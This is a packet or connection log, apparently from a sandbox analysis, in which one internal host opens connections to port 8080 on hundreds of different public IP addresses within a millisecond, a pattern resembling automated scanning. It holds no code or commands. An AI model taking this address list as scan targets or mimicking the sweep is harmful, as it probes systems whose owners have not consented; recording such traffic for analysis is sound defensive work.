Nov 23, 2023 05:14:47.614243031 CET	54202	8080	192.168.2.13	31.23.56.117
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	94.249.172.113
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	85.224.35.89
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	31.155.32.83
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	94.133.100.143
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	62.189.129.61
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	95.181.182.165
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	85.218.183.206
Nov 23, 2023 05:14:47.614248991 CET	54202	8080	192.168.2.13	95.67.117.183
Nov 23, 2023 05:14:47.614250898 CET	54202	8080	192.168.2.13	62.199.11.52
Nov 23, 2023 05:14:47.614250898 CET	54202	8080	192.168.2.13	31.163.105.24
Nov 23, 2023 05:14:47.614252090 CET	54202	8080	192.168.2.13	95.123.27.142
Nov 23, 2023 05:14:47.614252090 CET	54202	8080	192.168.2.13	85.115.29.85
Nov 23, 2023 05:14:47.614252090 CET	54202	8080	192.168.2.13	31.254.154.60
Nov 23, 2023 05:14:47.614255905 CET	54202	8080	192.168.2.13	95.170.165.85
Nov 23, 2023 05:14:47.614255905 CET	54202	8080	192.168.2.13	85.255.56.97
Nov 23, 2023 05:14:47.614255905 CET	54202	8080	192.168.2.13	62.70.108.175
Nov 23, 2023 05:14:47.614255905 CET	54202	8080	192.168.2.13	85.99.80.34
Nov 23, 2023 05:14:47.614265919 CET	54202	8080	192.168.2.13	95.31.46.187
Nov 23, 2023 05:14:47.614265919 CET	54202	8080	192.168.2.13	62.230.188.81
Nov 23, 2023 05:14:47.614267111 CET	54202	8080	192.168.2.13	31.109.168.163
Nov 23, 2023 05:14:47.614267111 CET	54202	8080	192.168.2.13	94.228.225.59
Nov 23, 2023 05:14:47.614267111 CET	54202	8080	192.168.2.13	62.80.212.39
Nov 23, 2023 05:14:47.614267111 CET	54202	8080	192.168.2.13	31.171.92.216
Nov 23, 2023 05:14:47.614267111 CET	54202	8080	192.168.2.13	94.45.137.130
Nov 23, 2023 05:14:47.614267111 CET	54202	8080	192.168.2.13	62.117.52.137
Nov 23, 2023 05:14:47.614272118 CET	54202	8080	192.168.2.13	95.208.72.147
Nov 23, 2023 05:14:47.614272118 CET	54202	8080	192.168.2.13	94.159.84.82
Nov 23, 2023 05:14:47.614272118 CET	54202	8080	192.168.2.13	62.78.215.168
Nov 23, 2023 05:14:47.614279985 CET	54202	8080	192.168.2.13	31.240.250.180
Nov 23, 2023 05:14:47.614280939 CET	54202	8080	192.168.2.13	85.190.178.147
Nov 23, 2023 05:14:47.614280939 CET	54202	8080	192.168.2.13	95.75.220.205
Nov 23, 2023 05:14:47.614288092 CET	54202	8080	192.168.2.13	62.60.19.137
Nov 23, 2023 05:14:47.614289999 CET	54202	8080	192.168.2.13	62.127.55.229
Nov 23, 2023 05:14:47.614289999 CET	54202	8080	192.168.2.13	94.18.37.176
Nov 23, 2023 05:14:47.614289999 CET	54202	8080	192.168.2.13	85.198.154.245
Nov 23, 2023 05:14:47.614289999 CET	54202	8080	192.168.2.13	31.28.169.11
Nov 23, 2023 05:14:47.614289999 CET	54202	8080	192.168.2.13	62.189.38.83
Nov 23, 2023 05:14:47.614289999 CET	54202	8080	192.168.2.13	94.92.133.153
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	62.94.94.219
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	85.37.61.144
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	31.183.205.174
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	31.100.14.20
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	62.57.69.185
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	85.93.204.139
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	85.6.224.17
Nov 23, 2023 05:14:47.614326000 CET	54202	8080	192.168.2.13	62.153.46.250
Nov 23, 2023 05:14:47.614331961 CET	54202	8080	192.168.2.13	85.202.57.248
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	31.161.243.219
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	62.139.227.228
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	94.78.142.134
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	94.228.72.49
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	62.130.222.147
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	31.74.24.36
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	85.251.17.108
Nov 23, 2023 05:14:47.614341974 CET	54202	8080	192.168.2.13	85.209.214.212
Nov 23, 2023 05:14:47.614342928 CET	54202	8080	192.168.2.13	95.161.99.109
Nov 23, 2023 05:14:47.614347935 CET	54202	8080	192.168.2.13	85.224.145.27
Nov 23, 2023 05:14:47.614348888 CET	54202	8080	192.168.2.13	62.201.206.92
Nov 23, 2023 05:14:47.614348888 CET	54202	8080	192.168.2.13	95.62.76.186
Nov 23, 2023 05:14:47.614348888 CET	54202	8080	192.168.2.13	62.176.20.188
Nov 23, 2023 05:14:47.614348888 CET	54202	8080	192.168.2.13	94.54.133.3
Nov 23, 2023 05:14:47.614348888 CET	54202	8080	192.168.2.13	94.141.147.151
Nov 23, 2023 05:14:47.614355087 CET	54202	8080	192.168.2.13	31.74.253.252
Nov 23, 2023 05:14:47.614355087 CET	54202	8080	192.168.2.13	85.238.170.10
Nov 23, 2023 05:14:47.614355087 CET	54202	8080	192.168.2.13	62.230.55.253
Nov 23, 2023 05:14:47.614355087 CET	54202	8080	192.168.2.13	31.13.72.112
Nov 23, 2023 05:14:47.614355087 CET	54202	8080	192.168.2.13	95.178.207.253
Nov 23, 2023 05:14:47.614355087 CET	54202	8080	192.168.2.13	31.54.150.49
Nov 23, 2023 05:14:47.614355087 CET	54202	8080	192.168.2.13	62.177.231.73
Nov 23, 2023 05:14:47.614361048 CET	54202	8080	192.168.2.13	94.95.16.253
Nov 23, 2023 05:14:47.614373922 CET	54202	8080	192.168.2.13	94.65.12.58
Nov 23, 2023 05:14:47.614373922 CET	54202	8080	192.168.2.13	85.155.243.8
Nov 23, 2023 05:14:47.614373922 CET	54202	8080	192.168.2.13	94.135.16.190
Nov 23, 2023 05:14:47.614384890 CET	54202	8080	192.168.2.13	62.239.116.68
Nov 23, 2023 05:14:47.614384890 CET	54202	8080	192.168.2.13	94.30.246.143
Nov 23, 2023 05:14:47.614384890 CET	54202	8080	192.168.2.13	31.18.130.142
Nov 23, 2023 05:14:47.614386082 CET	54202	8080	192.168.2.13	31.41.14.240
Nov 23, 2023 05:14:47.614386082 CET	54202	8080	192.168.2.13	85.44.128.187
Nov 23, 2023 05:14:47.614387035 CET	54202	8080	192.168.2.13	95.223.57.35
Nov 23, 2023 05:14:47.614386082 CET	54202	8080	192.168.2.13	94.243.92.118
Nov 23, 2023 05:14:47.614387035 CET	54202	8080	192.168.2.13	85.142.9.122
Nov 23, 2023 05:14:47.614384890 CET	54202	8080	192.168.2.13	31.17.18.98
Nov 23, 2023 05:14:47.614386082 CET	54202	8080	192.168.2.13	31.154.242.235
Nov 23, 2023 05:14:47.614387035 CET	54202	8080	192.168.2.13	85.145.88.228
Nov 23, 2023 05:14:47.614386082 CET	54202	8080	192.168.2.13	95.183.0.9
Nov 23, 2023 05:14:47.614384890 CET	54202	8080	192.168.2.13	95.160.79.19
Nov 23, 2023 05:14:47.614396095 CET	54202	8080	192.168.2.13	62.167.145.40
Nov 23, 2023 05:14:47.614396095 CET	54202	8080	192.168.2.13	31.35.165.95
Nov 23, 2023 05:14:47.614396095 CET	54202	8080	192.168.2.13	95.103.99.119
Nov 23, 2023 05:14:47.614398003 CET	54202	8080	192.168.2.13	94.77.100.158
Nov 23, 2023 05:14:47.614398003 CET	54202	8080	192.168.2.13	31.13.66.0
Nov 23, 2023 05:14:47.614398003 CET	54202	8080	192.168.2.13	95.60.198.157
Nov 23, 2023 05:14:47.614398003 CET	54202	8080	192.168.2.13	95.244.86.94
Nov 23, 2023 05:14:47.614398003 CET	54202	8080	192.168.2.13	31.2.158.131
Nov 23, 2023 05:14:47.614398003 CET	54202	8080	192.168.2.13	95.238.104.251
Nov 23, 2023 05:14:47.614398003 CET	54202	8080	192.168.2.13	95.198.107.81
Nov 23, 2023 05:14:47.614449978 CET	54202	8080	192.168.2.13	85.234.221.0
Nov 23, 2023 05:14:47.614449978 CET	54202	8080	192.168.2.13	95.92.167.0
Nov 23, 2023 05:14:47.614449978 CET	54202	8080	192.168.2.13	94.240.65.252
Nov 23, 2023 05:14:47.614451885 CET	54202	8080	192.168.2.13	85.171.180.239
Nov 23, 2023 05:14:47.614451885 CET	54202	8080	192.168.2.13	31.127.219.212
Nov 23, 2023 05:14:47.614451885 CET	54202	8080	192.168.2.13	62.231.224.12
Nov 23, 2023 05:14:47.614454031 CET	54202	8080	192.168.2.13	95.208.161.112
Nov 23, 2023 05:14:47.614454031 CET	54202	8080	192.168.2.13	85.143.49.96
Nov 23, 2023 05:14:47.614454031 CET	54202	8080	192.168.2.13	94.136.50.239
Nov 23, 2023 05:14:47.614455938 CET	54202	8080	192.168.2.13	62.76.102.218
Nov 23, 2023 05:14:47.614454031 CET	54202	8080	192.168.2.13	85.65.122.99
Nov 23, 2023 05:14:47.614455938 CET	54202	8080	192.168.2.13	95.5.158.71
Nov 23, 2023 05:14:47.614459038 CET	54202	8080	192.168.2.13	62.215.200.119
Nov 23, 2023 05:14:47.614458084 CET	54202	8080	192.168.2.13	94.148.195.205
Nov 23, 2023 05:14:47.614461899 CET	54202	8080	192.168.2.13	31.147.83.65
Nov 23, 2023 05:14:47.614454031 CET	54202	8080	192.168.2.13	94.161.136.29
Nov 23, 2023 05:14:47.614455938 CET	54202	8080	192.168.2.13	95.112.162.71
Nov 23, 2023 05:14:47.614454031 CET	54202	8080	192.168.2.13	62.188.152.79
Nov 23, 2023 05:14:47.614458084 CET	54202	8080	192.168.2.13	62.198.46.229
Nov 23, 2023 05:14:47.614455938 CET	54202	8080	192.168.2.13	85.58.78.247
Nov 23, 2023 05:14:47.614458084 CET	54202	8080	192.168.2.13	62.143.66.206
Nov 23, 2023 05:14:47.614455938 CET	54202	8080	192.168.2.13	95.36.153.122
Nov 23, 2023 05:14:47.614454031 CET	54202	8080	192.168.2.13	95.4.185.64
Nov 23, 2023 05:14:47.614455938 CET	54202	8080	192.168.2.13	62.139.233.155
Nov 23, 2023 05:14:47.614480019 CET	54202	8080	192.168.2.13	31.15.27.203
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	95.105.75.55
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	94.106.48.195
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	95.244.136.108
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	94.117.219.66
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	85.56.146.106
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	31.231.123.217
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	95.61.52.224
Nov 23, 2023 05:14:47.614483118 CET	54202	8080	192.168.2.13	85.99.37.108
Nov 23, 2023 05:14:47.614489079 CET	54202	8080	192.168.2.13	95.3.145.208
Nov 23, 2023 05:14:47.614489079 CET	54202	8080	192.168.2.13	85.246.43.229
Nov 23, 2023 05:14:47.614489079 CET	54202	8080	192.168.2.13	94.137.214.81
Nov 23, 2023 05:14:47.614496946 CET	54202	8080	192.168.2.13	85.208.239.146
Nov 23, 2023 05:14:47.614496946 CET	54202	8080	192.168.2.13	94.142.121.46
Nov 23, 2023 05:14:47.614496946 CET	54202	8080	192.168.2.13	94.118.113.82
Nov 23, 2023 05:14:47.614496946 CET	54202	8080	192.168.2.13	85.203.64.89
Nov 23, 2023 05:14:47.614496946 CET	54202	8080	192.168.2.13	95.249.247.240
Nov 23, 2023 05:14:47.614501953 CET	54202	8080	192.168.2.13	85.212.89.29
Nov 23, 2023 05:14:47.614501953 CET	54202	8080	192.168.2.13	95.247.164.130
Nov 23, 2023 05:14:47.614501953 CET	54202	8080	192.168.2.13	62.48.97.48
Nov 23, 2023 05:14:47.614501953 CET	54202	8080	192.168.2.13	62.133.226.133
Nov 23, 2023 05:14:47.614501953 CET	54202	8080	192.168.2.13	94.44.31.27
Nov 23, 2023 05:14:47.614509106 CET	54202	8080	192.168.2.13	94.109.22.22
Nov 23, 2023 05:14:47.614509106 CET	54202	8080	192.168.2.13	62.242.73.37
Nov 23, 2023 05:14:47.614509106 CET	54202	8080	192.168.2.13	94.187.231.136
Nov 23, 2023 05:14:47.614516020 CET	54202	8080	192.168.2.13	94.237.70.185
Nov 23, 2023 05:14:47.614516973 CET	54202	8080	192.168.2.13	94.169.128.241
Nov 23, 2023 05:14:47.614536047 CET	54202	8080	192.168.2.13	95.59.191.108
Nov 23, 2023 05:14:47.614536047 CET	54202	8080	192.168.2.13	62.22.180.44
Nov 23, 2023 05:14:47.614536047 CET	54202	8080	192.168.2.13	94.71.161.99
Nov 23, 2023 05:14:47.614543915 CET	54202	8080	192.168.2.13	62.229.141.76
Nov 23, 2023 05:14:47.614543915 CET	54202	8080	192.168.2.13	62.207.188.251
Nov 23, 2023 05:14:47.614543915 CET	54202	8080	192.168.2.13	62.17.200.177
Nov 23, 2023 05:14:47.614546061 CET	54202	8080	192.168.2.13	94.197.14.113
Nov 23, 2023 05:14:47.614546061 CET	54202	8080	192.168.2.13	94.0.37.12
Nov 23, 2023 05:14:47.614546061 CET	54202	8080	192.168.2.13	62.32.218.181
Nov 23, 2023 05:14:47.614546061 CET	54202	8080	192.168.2.13	31.54.197.137
Nov 23, 2023 05:14:47.614552975 CET	54202	8080	192.168.2.13	31.148.38.63
Nov 23, 2023 05:14:47.614552975 CET	54202	8080	192.168.2.13	31.157.114.55
Nov 23, 2023 05:14:47.614554882 CET	54202	8080	192.168.2.13	94.178.180.62
Nov 23, 2023 05:14:47.614554882 CET	54202	8080	192.168.2.13	85.230.200.185
Nov 23, 2023 05:14:47.614554882 CET	54202	8080	192.168.2.13	95.17.100.151
Nov 23, 2023 05:14:47.614554882 CET	54202	8080	192.168.2.13	95.138.222.198
Nov 23, 2023 05:14:47.614554882 CET	54202	8080	192.168.2.13	85.0.87.152
Nov 23, 2023 05:14:47.614564896 CET	54202	8080	192.168.2.13	95.154.249.141
Nov 23, 2023 05:14:47.614564896 CET	54202	8080	192.168.2.13	94.227.102.111
Nov 23, 2023 05:14:47.614568949 CET	54202	8080	192.168.2.13	85.19.19.177
Nov 23, 2023 05:14:47.614568949 CET	54202	8080	192.168.2.13	31.203.63.125
Nov 23, 2023 05:14:47.614568949 CET	54202	8080	192.168.2.13	62.237.41.200
Nov 23, 2023 05:14:47.614568949 CET	54202	8080	192.168.2.13	95.44.85.227
Nov 23, 2023 05:14:47.614569902 CET	54202	8080	192.168.2.13	31.36.80.128
Nov 23, 2023 05:14:47.614569902 CET	54202	8080	192.168.2.13	31.43.61.7
Nov 23, 2023 05:14:47.614569902 CET	54202	8080	192.168.2.13	31.26.12.47
Nov 23, 2023 05:14:47.614569902 CET	54202	8080	192.168.2.13	85.227.240.82
Nov 23, 2023 05:14:47.614569902 CET	54202	8080	192.168.2.13	95.127.79.251
Nov 23, 2023 05:14:47.614569902 CET	54202	8080	192.168.2.13	31.118.184.254
Nov 23, 2023 05:14:47.614588022 CET	54202	8080	192.168.2.13	62.151.235.66
Nov 23, 2023 05:14:47.614588022 CET	54202	8080	192.168.2.13	85.31.165.26
Nov 23, 2023 05:14:47.614588976 CET	54202	8080	192.168.2.13	94.57.16.61
Nov 23, 2023 05:14:47.614588022 CET	54202	8080	192.168.2.13	85.215.119.13
Nov 23, 2023 05:14:47.614588976 CET	54202	8080	192.168.2.13	94.29.226.232
Nov 23, 2023 05:14:47.614588022 CET	54202	8080	192.168.2.13	31.222.180.3
Nov 23, 2023 05:14:47.614590883 CET	54202	8080	192.168.2.13	95.118.36.204
Nov 23, 2023 05:14:47.614590883 CET	54202	8080	192.168.2.13	94.82.194.197
Nov 23, 2023 05:14:47.614592075 CET	54202	8080	192.168.2.13	85.135.206.10
Nov 23, 2023 05:14:47.614590883 CET	54202	8080	192.168.2.13	85.10.195.22
Nov 23, 2023 05:14:47.614590883 CET	54202	8080	192.168.2.13	62.67.106.79
Nov 23, 2023 05:14:47.614595890 CET	54202	8080	192.168.2.13	85.234.126.118
Nov 23, 2023 05:14:47.614595890 CET	54202	8080	192.168.2.13	31.16.40.209
Nov 23, 2023 05:14:47.614595890 CET	54202	8080	192.168.2.13	95.199.7.64
Nov 23, 2023 05:14:47.614595890 CET	54202	8080	192.168.2.13	31.248.237.117
Nov 23, 2023 05:14:47.614595890 CET	54202	8080	192.168.2.13	94.203.89.141
Nov 23, 2023 05:14:47.614613056 CET	54202	8080	192.168.2.13	94.220.135.71
Nov 23, 2023 05:14:47.614617109 CET	54202	8080	192.168.2.13	94.15.251.135
Nov 23, 2023 05:14:47.614617109 CET	54202	8080	192.168.2.13	94.254.155.142
Nov 23, 2023 05:14:47.614617109 CET	54202	8080	192.168.2.13	95.183.249.239
Nov 23, 2023 05:14:47.614617109 CET	54202	8080	192.168.2.13	31.93.93.46
Nov 23, 2023 05:14:47.614617109 CET	54202	8080	192.168.2.13	31.148.97.246
Nov 23, 2023 05:14:47.614617109 CET	54202	8080	192.168.2.13	95.170.97.89
Nov 23, 2023 05:14:47.614617109 CET	54202	8080	192.168.2.13	85.93.222.48
Nov 23, 2023 05:14:47.614629030 CET	54202	8080	192.168.2.13	62.200.165.56
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	95.158.67.198
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	85.25.13.164
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	62.70.21.153
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	85.16.69.57
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	31.151.81.173
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	95.107.118.158
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	62.48.33.77
Nov 23, 2023 05:14:47.614636898 CET	54202	8080	192.168.2.13	95.144.90.114
Nov 23, 2023 05:14:47.614650011 CET	54202	8080	192.168.2.13	95.198.99.219
Nov 23, 2023 05:14:47.614655972 CET	54202	8080	192.168.2.13	95.75.97.14
Nov 23, 2023 05:14:47.614655972 CET	54202	8080	192.168.2.13	31.167.153.140
Nov 23, 2023 05:14:47.614662886 CET	54202	8080	192.168.2.13	95.52.58.152
Nov 23, 2023 05:14:47.614665985 CET	54202	8080	192.168.2.13	62.249.7.46
Nov 23, 2023 05:14:47.614665985 CET	54202	8080	192.168.2.13	62.221.48.90
Nov 23, 2023 05:14:47.614667892 CET	54202	8080	192.168.2.13	95.47.118.158
Nov 23, 2023 05:14:47.614697933 CET	54202	8080	192.168.2.13	85.80.189.16
Nov 23, 2023 05:14:47.614697933 CET	54202	8080	192.168.2.13	95.47.74.244
Nov 23, 2023 05:14:47.614697933 CET	54202	8080	192.168.2.13	62.118.59.163
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	94.244.55.221
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	95.180.34.70
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	31.204.16.77
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	31.102.251.2
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	62.159.194.203
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	31.2.116.167
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	85.76.111.92
Nov 23, 2023 05:14:47.614701986 CET	54202	8080	192.168.2.13	95.208.146.129
Nov 23, 2023 05:14:47.614720106 CET	54202	8080	192.168.2.13	31.118.74.148
Nov 23, 2023 05:14:47.614721060 CET	54202	8080	192.168.2.13	94.60.88.65
Nov 23, 2023 05:14:47.614721060 CET	54202	8080	192.168.2.13	62.96.192.151
Nov 23, 2023 05:14:47.614721060 CET	54202	8080	192.168.2.13	85.79.162.152
Nov 23, 2023 05:14:47.614721060 CET	54202	8080	192.168.2.13	62.24.238.55
Nov 23, 2023 05:14:47.614721060 CET	54202	8080	192.168.2.13	85.100.241.107
Nov 23, 2023 05:14:47.614721060 CET	54202	8080	192.168.2.13	94.38.143.103
Nov 23, 2023 05:14:47.614721060 CET	54202	8080	192.168.2.13	62.139.66.19
Nov 23, 2023 05:14:47.614739895 CET	54202	8080	192.168.2.13	95.21.187.12
Nov 23, 2023 05:14:47.614739895 CET	54202	8080	192.168.2.13	31.3.57.72
Nov 23, 2023 05:14:47.614739895 CET	54202	8080	192.168.2.13	94.158.176.44
Nov 23, 2023 05:14:47.614739895 CET	54202	8080	192.168.2.13	85.88.102.200
Nov 23, 2023 05:14:47.614739895 CET	54202	8080	192.168.2.13	95.108.161.218
Nov 23, 2023 05:14:47.614741087 CET	54202	8080	192.168.2.13	31.23.86.239
Nov 23, 2023 05:14:47.614742994 CET	54202	8080	192.168.2.13	31.26.6.29
Nov 23, 2023 05:14:47.614743948 CET	54202	8080	192.168.2.13	85.26.184.243
Nov 23, 2023 05:14:47.614743948 CET	54202	8080	192.168.2.13	62.35.209.169
Nov 23, 2023 05:14:47.614743948 CET	54202	8080	192.168.2.13	31.13.220.179
Nov 23, 2023 05:14:47.614743948 CET	54202	8080	192.168.2.13	85.178.205.44
Nov 23, 2023 05:14:47.614751101 CET	54202	8080	192.168.2.13	85.121.241.207
Nov 23, 2023 05:14:47.614751101 CET	54202	8080	192.168.2.13	62.164.167.127
Nov 23, 2023 05:14:47.614764929 CET	54202	8080	192.168.2.13	85.217.130.244
Nov 23, 2023 05:14:47.614764929 CET	54202	8080	192.168.2.13	62.233.216.177
Nov 23, 2023 05:14:47.614764929 CET	54202	8080	192.168.2.13	85.216.95.94
Nov 23, 2023 05:14:47.614765882 CET	54202	8080	192.168.2.13	85.68.40.211
Nov 23, 2023 05:14:47.614764929 CET	54202	8080	192.168.2.13	31.23.102.127
Nov 23, 2023 05:14:47.614765882 CET	54202	8080	192.168.2.13	85.43.41.75
Nov 23, 2023 05:14:47.614765882 CET	54202	8080	192.168.2.13	94.23.34.249
Nov 23, 2023 05:14:47.614773035 CET	54202	8080	192.168.2.13	94.214.250.206
Nov 23, 2023 05:14:47.614773035 CET	54202	8080	192.168.2.13	95.181.141.143
Nov 23, 2023 05:14:47.614773035 CET	54202	8080	192.168.2.13	95.106.128.118
Nov 23, 2023 05:14:47.614773035 CET	54202	8080	192.168.2.13	95.116.224.167
Nov 23, 2023 05:14:47.614773035 CET	54202	8080	192.168.2.13	94.251.151.235
Nov 23, 2023 05:14:47.614775896 CET	54202	8080	192.168.2.13	31.159.148.160
Nov 23, 2023 05:14:47.614783049 CET	54202	8080	192.168.2.13	85.19.232.23
Nov 23, 2023 05:14:47.614801884 CET	54202	8080	192.168.2.13	62.183.27.111
Nov 23, 2023 05:14:47.614801884 CET	54202	8080	192.168.2.13	31.116.137.112
Nov 23, 2023 05:14:47.614801884 CET	54202	8080	192.168.2.13	62.119.89.51
Nov 23, 2023 05:14:47.614801884 CET	54202	8080	192.168.2.13	94.13.204.27
Nov 23, 2023 05:14:47.614801884 CET	54202	8080	192.168.2.13	95.119.215.164
Nov 23, 2023 05:14:47.614809990 CET	54202	8080	192.168.2.13	94.124.27.225
Nov 23, 2023 05:14:47.614810944 CET	54202	8080	192.168.2.13	62.52.254.13
Nov 23, 2023 05:14:47.614811897 CET	54202	8080	192.168.2.13	85.79.81.201
Nov 23, 2023 05:14:47.614819050 CET	54202	8080	192.168.2.13	62.48.158.133
Nov 23, 2023 05:14:47.614826918 CET	54202	8080	192.168.2.13	95.39.88.111
Nov 23, 2023 05:14:47.614835978 CET	54202	8080	192.168.2.13	94.207.38.156
Nov 23, 2023 05:14:47.614872932 CET	54202	8080	192.168.2.13	31.166.82.169
Nov 23, 2023 05:14:47.614875078 CET	54202	8080	192.168.2.13	95.90.6.184
Nov 23, 2023 05:14:47.614883900 CET	54202	8080	192.168.2.13	62.109.23.9
Nov 23, 2023 05:14:47.614883900 CET	54202	8080	192.168.2.13	85.221.82.254
Nov 23, 2023 05:14:47.614883900 CET	54202	8080	192.168.2.13	94.216.61.118
Nov 23, 2023 05:14:47.614885092 CET	54202	8080	192.168.2.13	31.134.190.163
Nov 23, 2023 05:14:47.614885092 CET	54202	8080	192.168.2.13	94.27.10.55
Nov 23, 2023 05:14:47.614887953 CET	54202	8080	192.168.2.13	31.167.82.90
Nov 23, 2023 05:14:47.614887953 CET	54202	8080	192.168.2.13	31.19.248.13
Nov 23, 2023 05:14:47.614888906 CET	54202	8080	192.168.2.13	62.30.12.96
Nov 23, 2023 05:14:47.614888906 CET	54202	8080	192.168.2.13	62.239.127.74
Nov 23, 2023 05:14:47.614891052 CET	54202	8080	192.168.2.13	94.79.97.106
Nov 23, 2023 05:14:47.614934921 CET	54202	8080	192.168.2.13	62.228.69.169
Nov 23, 2023 05:14:47.614934921 CET	54202	8080	192.168.2.13	85.147.134.133
Nov 23, 2023 05:14:47.614939928 CET	54202	8080	192.168.2.13	85.16.210.156
Nov 23, 2023 05:14:47.614939928 CET	54202	8080	192.168.2.13	31.39.221.31
Nov 23, 2023 05:14:47.614943981 CET	54202	8080	192.168.2.13	31.218.217.185
Nov 23, 2023 05:14:47.614939928 CET	54202	8080	192.168.2.13	31.2.242.236
Nov 23, 2023 05:14:47.614942074 CET	54202	8080	192.168.2.13	94.25.16.193
Nov 23, 2023 05:14:47.614943981 CET	54202	8080	192.168.2.13	31.221.188.228
Nov 23, 2023 05:14:47.614942074 CET	54202	8080	192.168.2.13	31.251.14.80
Nov 23, 2023 05:14:47.614939928 CET	54202	8080	192.168.2.13	95.207.123.113
Nov 23, 2023 05:14:47.614964962 CET	54202	8080	192.168.2.13	85.135.73.219
Nov 23, 2023 05:14:47.614967108 CET	54202	8080	192.168.2.13	94.41.70.170
Nov 23, 2023 05:14:47.614967108 CET	54202	8080	192.168.2.13	62.193.150.60
Nov 23, 2023 05:14:47.614967108 CET	54202	8080	192.168.2.13	85.29.68.240
Nov 23, 2023 05:14:47.614967108 CET	54202	8080	192.168.2.13	85.8.15.115
Nov 23, 2023 05:14:47.614968061 CET	54202	8080	192.168.2.13	94.243.119.209
Nov 23, 2023 05:14:47.614967108 CET	54202	8080	192.168.2.13	62.206.35.152
Nov 23, 2023 05:14:47.614968061 CET	54202	8080	192.168.2.13	94.236.206.57
Nov 23, 2023 05:14:47.614967108 CET	54202	8080	192.168.2.13	95.37.8.65
Nov 23, 2023 05:14:47.614968061 CET	54202	8080	192.168.2.13	31.187.192.131
Nov 23, 2023 05:14:47.614967108 CET	54202	8080	192.168.2.13	94.76.70.139
Nov 23, 2023 05:14:47.614968061 CET	54202	8080	192.168.2.13	94.118.150.151
Nov 23, 2023 05:14:47.614969969 CET	54202	8080	192.168.2.13	95.216.82.78
Nov 23, 2023 05:14:47.614968061 CET	54202	8080	192.168.2.13	62.183.52.61
Nov 23, 2023 05:14:47.614969969 CET	54202	8080	192.168.2.13	62.79.21.167
Nov 23, 2023 05:14:47.614969969 CET	54202	8080	192.168.2.13	31.42.246.163
Nov 23, 2023 05:14:47.614973068 CET	54202	8080	192.168.2.13	31.113.99.59
Nov 23, 2023 05:14:47.614970922 CET	54202	8080	192.168.2.13	94.145.94.47
Nov 23, 2023 05:14:47.614969969 CET	54202	8080	192.168.2.13	62.85.45.222
Nov 23, 2023 05:14:47.614973068 CET	54202	8080	192.168.2.13	62.55.40.100
Nov 23, 2023 05:14:47.614969969 CET	54202	8080	192.168.2.13	94.204.228.59
Nov 23, 2023 05:14:47.614969969 CET	54202	8080	192.168.2.13	95.153.187.36
Nov 23, 2023 05:14:47.615015984 CET	54202	8080	192.168.2.13	62.14.201.50
Nov 23, 2023 05:14:47.615027905 CET	54202	8080	192.168.2.13	31.159.247.100
Nov 23, 2023 05:14:47.615027905 CET	54202	8080	192.168.2.13	94.1.163.187
Nov 23, 2023 05:14:47.615030050 CET	54202	8080	192.168.2.13	95.102.87.62
Nov 23, 2023 05:14:47.615032911 CET	54202	8080	192.168.2.13	31.172.42.1
Nov 23, 2023 05:14:47.615032911 CET	54202	8080	192.168.2.13	94.132.221.228
Nov 23, 2023 05:14:47.615035057 CET	54202	8080	192.168.2.13	62.181.121.192
Nov 23, 2023 05:14:47.615041018 CET	54202	8080	192.168.2.13	31.197.150.168
Nov 23, 2023 05:14:47.615041018 CET	54202	8080	192.168.2.13	94.192.237.113
Nov 23, 2023 05:14:47.615041018 CET	54202	8080	192.168.2.13	95.86.69.238
Nov 23, 2023 05:14:47.615041971 CET	54202	8080	192.168.2.13	31.208.250.2
Nov 23, 2023 05:14:47.615044117 CET	54202	8080	192.168.2.13	62.181.17.58
Nov 23, 2023 05:14:47.615041971 CET	54202	8080	192.168.2.13	85.158.71.190
Nov 23, 2023 05:14:47.615044117 CET	54202	8080	192.168.2.13	62.167.3.129
Nov 23, 2023 05:14:47.615042925 CET	54202	8080	192.168.2.13	94.18.39.87
